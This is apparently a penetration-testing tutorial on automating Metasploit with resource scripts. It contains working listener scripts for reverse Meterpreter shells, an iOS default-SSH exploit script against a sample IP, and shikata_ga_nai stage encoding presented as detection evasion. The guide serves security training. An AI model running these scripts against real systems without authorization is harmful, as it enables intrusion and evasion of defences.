Automated Penetration Testing with Metasploit Framework

The post provides a comprehensive guide to Metasploit Automation, focusing on creating reusable scripts for repeated tasks like setting up listeners and executing exploits

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Overview

• Purpose: Automating repetitive tasks in Metasploit, such as setting up listeners or reusing specific exploits.
• Why Automate?:
• Saves time when working on multiple machines or recurring scenarios.
• Streamlines penetration testing tasks.

Topics Covered

1. Automating Listeners

1. Creating Listener Scripts:

• Directory Setup:

mkdir listeners
cd listeners

Example Script: windows_metasploit_listener.rc

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <your_IP>
set LPORT <your_port>
set ExitOnSession false
exploit -j -z

• Save the script with .rc extension (e.g., windows_listener.rc).

Launching the Script:

• Command:

sudo msfconsole -r windows_listener.rc

• Automates the setup of the Metasploit listener for the payload.

1. Multiple Listeners:

• Create separate scripts for different payloads (e.g., Android, PHP).
• Adjust parameters like LHOST, LPORT, and payload type as required.

2. Automating Exploits

1. Creating Exploit Scripts:

• Directory Setup:

mkdir exploits
cd exploits

Example Script: apple_exploit.rc

use exploit/apple/ios/default_ssh
set RHOSTS 192.168.94.4
set RPORT 22
set ExitOnSession false
exploit -j -z

• Save the script with .rc extension (e.g., apple_exploit.rc).

Launching the Script:

• Command:

sudo msfconsole -r apple_exploit.rc

Executes the exploit script against the target.

3. Key Automation Concepts

• Encoders and Stage Encoding:
• Use to evade detection.
• Example command in script:

set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai

Exit on Session:

• Prevents listener from closing after a session is established:

set ExitOnSession false

• Dynamic Port Management:
• Avoid conflicts by assigning unique ports for each listener or exploit.

Advanced Use Cases

Combining Listeners and Exploits:

• Automate complete workflows by linking listener scripts with specific exploit scripts.

Scaling for Large Networks:

• Adjust scripts to target multiple machines by modifying the RHOSTS parameter.

Troubleshooting

Common Issues:

• Typos in commands (e.g., multi/handler vs. multihandler).
• Port conflicts: Ensure unique ports for each listener or exploit.
• Payload mismatches: Verify the payload in scripts matches the target architecture.

Debugging Steps:

• Check syntax in .rc files.
• Run Metasploit interactively to validate commands before scripting.

Best Practices

Organize Scripts:

• Use clear naming conventions (e.g., windows_listener.rc, android_listener.rc).

Test Scripts:

• Validate functionality in a controlled environment before using in production.

Reuse and Adapt:

• Create a library of scripts for common scenarios.

Conclusion

Why Automate?:

• Increases efficiency in penetration testing.
• Reduces manual errors and saves time.

Next Steps:

• Experiment with scripting complex workflows.
• Integrate Metasploit automation into larger pentesting pipelines.

If you have further questions or need clarification on any part of the tutorial, let me know!

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